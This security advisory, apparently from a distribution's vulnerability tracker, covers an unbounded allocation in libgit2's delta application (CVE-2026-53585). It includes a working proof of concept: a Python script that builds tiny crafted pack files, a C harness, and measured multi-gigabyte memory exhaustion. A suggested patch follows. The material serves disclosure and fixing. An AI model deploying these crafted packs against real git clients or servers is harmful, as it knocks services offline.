Skip to content

GHSA-27m5-gxxh-x79j on CTRL-OS 26.05

Aliases: GHSA-27m5-gxxh-x79j, CVE-2026-53585

Packages: libgit2

Status: Plausible

Advisory Information

========================================================================
DESCRIPTION
========================================================================

git_delta_apply() reads the claimed result size (res_sz) from the delta
object header — data entirely controlled by the sender — and immediately
allocates a buffer of that size before examining any delta instructions:

  // delta.c:563 — res_sz read from attacker-controlled stream, no limit:
  if (hdr_sz(&res_sz, &delta, delta_end) < 0) {
      git_error_set(GIT_ERROR_INVALID, "...");
      return -1;
  }

  // delta.c:568 — allocation BEFORE any instruction validation:
  GIT_ERROR_CHECK_ALLOC_ADD(&alloc_sz, res_sz, 1);
  res_dp = git__malloc(alloc_sz);   // ← unconstrained

res_sz is encoded as a variable-length integer; values up to SIZE_MAX-1
can be encoded in a handful of bytes.  The only existing guard,
GIT_ERROR_CHECK_ALLOC_ADD, prevents integer overflow at SIZE_MAX but
imposes no semantic upper bound.

The object cache limits in pack.h (1 MB per cached object, 16 MB total)
operate at a different layer (pack_packfile_cache_add) and do NOT prevent
this allocation: git__malloc() is called unconditionally first.

Crucially, if the attacker also supplies valid delta instructions that
fill exactly res_sz bytes, the allocation is retained in the returned
object buffer — making this a clean memory exhaustion with no sanitizer
errors.  Multi-level OFS_DELTA chains allow a single small pack to
trigger exponentially larger allocations at each level.

Affected code paths:

  - git_clone / git_fetch / git_remote_fetch against a malicious remote
  - git_indexer_append() / git_indexer_commit() receiving pack data
  - Reading local pack files from an attacker-supplied repository

========================================================================
PROOF OF CONCEPT
========================================================================

Two crafted pack files were generated and tested.  Both contain valid
delta instructions that fully fill the declared result size, so the
allocation is retained (not freed on the error path).

Pack A — delta_100mb.pack (374 bytes)
  Structure:
    OBJ_BLOB base:  64 KB of 'A' bytes (zlib-compressed to ~68 bytes)
    OFS_DELTA:      res_sz = 104,857,600 (100 MB)
                    1,600 × COPY(offset=0, len=65536) — valid, fills 100 MB
                    instruction stream compressed to ~23 bytes
  Result: ~118 MB RSS increase (amplification ~323,000×)

Pack B — chain_1gb.pack (412 bytes)
  Structure:
    OBJ_BLOB base:  64 KB (same as above)
    OFS_DELTA 1:    res_sz = 1,048,576 (1 MB), 16 COPY instructions
    OFS_DELTA 2:    res_sz = 1,073,741,824 (1 GB), 16,384 COPY instructions
  Result: ~1.03 GB RSS increase (amplification ~2,614,000×)

Reproduction steps
------------------

1. Clone the repository:

     git clone https://github.com/libgit2/libgit2.git
     cd libgit2

2. Build with ASAN (UBSAN excluded from this test — SHA1DC alignment
   warnings abort the process before RSS can be measured; see separate
   sha1dc report for that finding):

     cmake -B build \
         -DCMAKE_BUILD_TYPE=Debug \
         -DCMAKE_C_FLAGS="-fsanitize=address -fno-sanitize-recover=all \
                          -g -fno-omit-frame-pointer" \
         -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
         -DUSE_HTTPS=OFF -DUSE_SHA256=builtin \
         -DUSE_NTLMCLIENT=OFF -DBUILD_TESTS=OFF -DBUILD_CLI=OFF
     cmake --build build -- -j$(nproc)

3. Generate the crafted pack files (gen_packs.py):

     import zlib, struct, hashlib, os

     def varint(n):
         buf = [n & 0x7f]
         n >>= 7
         while n:
             buf[-1] |= 0x80
             buf.append(n & 0x7f)
             n >>= 7
         return bytes(buf)

     def pack_obj_hdr(t, s):
         b0 = (t << 4) | (s & 0x0f); s >>= 4; buf = []
         while s: buf.append(b0 | 0x80); b0 = s & 0x7f; s >>= 7
         buf.append(b0); return bytes(buf)

     def ofs_encode(n):
         buf = [n & 0x7f]; n >>= 7
         while n: n -= 1; buf.insert(0, 0x80 | (n & 0x7f)); n >>= 7
         return bytes(buf)

     def make_delta(base_sz, res_sz):
         d = varint(base_sz) + varint(res_sz)
         full, rem = divmod(res_sz, 65536)
         d += b'\x80' * full
         if rem: d += bytes([0x90, rem & 0xff]) + (bytes([(rem >> 8) & 0xff]) if rem > 0xff else b'')
         return d

     BASE = b'A' * 65536
     base_comp = zlib.compress(BASE, 9)
     base_hdr  = pack_obj_hdr(3, len(BASE))
     base_obj  = base_hdr + base_comp

     # Pack A: 100 MB single-level
     d100 = make_delta(len(BASE), 100 * 1024 * 1024)
     d100c = zlib.compress(d100, 9)
     obj_a = pack_obj_hdr(6, len(d100)) + ofs_encode(len(base_obj)) + d100c
     body_a = b'PACK' + struct.pack('>II', 2, 2) + base_obj + obj_a
     open('delta_100mb.pack', 'wb').write(body_a + hashlib.sha1(body_a).digest())

     # Pack B: 1 GB two-level chain
     d1m  = make_delta(len(BASE), 1024*1024)
     d1mc = zlib.compress(d1m, 9)
     obj1 = pack_obj_hdr(6, len(d1m)) + ofs_encode(len(base_obj)) + d1mc
     d1g  = make_delta(1024*1024, 1024*1024*1024)
     d1gc = zlib.compress(d1g, 9)
     obj2 = pack_obj_hdr(6, len(d1g)) + ofs_encode(len(obj1)) + d1gc
     body_b = b'PACK' + struct.pack('>II', 2, 3) + base_obj + obj1 + obj2
     open('chain_1gb.pack', 'wb').write(body_b + hashlib.sha1(body_b).digest())

     print(f'delta_100mb.pack: {os.path.getsize("delta_100mb.pack")} bytes')
     print(f'chain_1gb.pack:   {os.path.getsize("chain_1gb.pack")} bytes')

     python3 gen_packs.py
     # Output:
     #   delta_100mb.pack: 374 bytes
     #   chain_1gb.pack:   412 bytes

4. Write a test harness (test_indexer.c):

     #include <stdio.h>
     #include <stdlib.h>
     #include <sys/resource.h>
     #include "git2.h"

     static long rss_kb(void) {
         struct rusage r;
         return (getrusage(RUSAGE_SELF, &r) == 0) ? r.ru_maxrss : -1;
     }

     int main(int argc, char **argv) {
         if (argc < 2) { fprintf(stderr, "usage: %s <pack>\n", argv[0]); return 1; }
         git_libgit2_init();
         git_indexer *idx = NULL;
         git_indexer_options opts = GIT_INDEXER_OPTIONS_INIT;
         opts.verify = 0;
         char tmp[] = "/tmp/idx_XXXXXX"; mkdtemp(tmp);
         git_indexer_new(&idx, tmp, 0, NULL, &opts);
         git_indexer_progress st = {0};
         FILE *f = fopen(argv[1], "rb");
         unsigned char buf[65536]; size_t n;
         long before = rss_kb();
         printf("[*] RSS before: %ld KB\n", before);
         while ((n = fread(buf, 1, sizeof(buf), f)) > 0)
             git_indexer_append(idx, buf, n, &st);
         fclose(f);
         if (git_indexer_commit(idx, &st) < 0)
             fprintf(stderr, "commit: %s\n", git_error_last()->message);
         long after = rss_kb();
         printf("[*] RSS after:  %ld KB\n", after);
         printf("[+] RSS delta:  %ld KB (~%ld MB)\n",
                after - before, (after - before) / 1024);
         git_indexer_free(idx); git_libgit2_shutdown();
         return 0;
     }

5. Compile and run:

     gcc -o test_indexer test_indexer.c -Iinclude -Lbuild -lgit2 \
         -Wl,-rpath,build -fsanitize=address -fno-omit-frame-pointer -g

     ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 \
     LD_LIBRARY_PATH=build \
     ./test_indexer delta_100mb.pack

     ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 \
     LD_LIBRARY_PATH=build \
     ./test_indexer chain_1gb.pack

========================================================================
OBSERVED OUTPUT
========================================================================

Tested on x86_64 Linux and i686 Linux (libgit2 main, commit 873ab30fe):

  64-bit — delta_100mb.pack (374 bytes, 100 MB claim):
    RSS before: 40,668 KB
    RSS after:  158,736 KB
    RSS delta:  ~118 MB        amplification: ~323,000×

  64-bit — chain_1gb.pack (412 bytes, 1 GB claim):
    RSS before: 40,452 KB
    RSS after:  1,093,960 KB
    RSS delta:  ~1.03 GB       amplification: ~2,614,000×

  32-bit — delta_100mb.pack (374 bytes, 100 MB claim):
    RSS before: 26,480 KB
    RSS after:  147,196 KB
    RSS delta:  ~118 MB        amplification: ~323,000×

ASAN reported no memory errors in any run.  The vulnerability is a
design-level issue: the claimed result size is trusted unconditionally.

========================================================================
IMPACT
========================================================================

Availability: Complete process memory exhaustion from a single network
  connection.  A 412-byte pack triggers >1 GB allocation; a larger
  chain or res_sz value can exhaust all available RAM on the host.

Affected operations: git_clone, git_fetch, git_remote_fetch, and any
  higher-level API that fetches pack data over HTTP/HTTPS/SSH/git
  protocol from an untrusted source.

Authentication required: None.  The attack fires the moment a client
  opens a connection to an attacker-controlled repository URL.

Platforms: x86_64 and i686 Linux confirmed; expected to affect all
  platforms where the library is built.

CVSS v3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H — 6.5 (Medium-High)
  UI:N applies when clone/fetch targets are supplied by the attacker
  (e.g., CI/CD pipelines) — score becomes 7.5 (High).

========================================================================
SUGGESTED FIX (src/libgit2/delta.c)
========================================================================

Add a result-size guard immediately after reading res_sz, before the
allocation.  The limit below is conservative and could be made
configurable via git_libgit2_opts() if finer control is needed:

  --- a/src/libgit2/delta.c
  +++ b/src/libgit2/delta.c
      if (hdr_sz(&res_sz, &delta, delta_end) < 0) {
          git_error_set(GIT_ERROR_INVALID, "...");
          return -1;
      }

  +   /* Reject implausibly large delta results before allocating. */
  +   if (res_sz > 2UL * 1024 * 1024 * 1024) {
  +       git_error_set(GIT_ERROR_INVALID,
  +           "failed to apply delta: result size exceeds 2 GB limit");
  +       return -1;
  +   }
  +
      GIT_ERROR_CHECK_ALLOC_ADD(&alloc_sz, res_sz, 1);
      res_dp = git__malloc(alloc_sz);

An alternative is to expose a GIT_OPT_SET_PACK_MAX_OBJECT_SIZE option
(analogous to GIT_OPT_SET_PACK_MAX_OBJECTS) so callers can tune the
limit per deployment.

========================================================================
CREDITS
========================================================================

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski,
members of the AFINE Team.

Updates

2026-08-21 15:50 CEST

Metadata changes:

  • Status for package libgit2: “Plausible

2026-08-21 15:43 CEST

Metadata changes:

  • Status for package libgit2: “New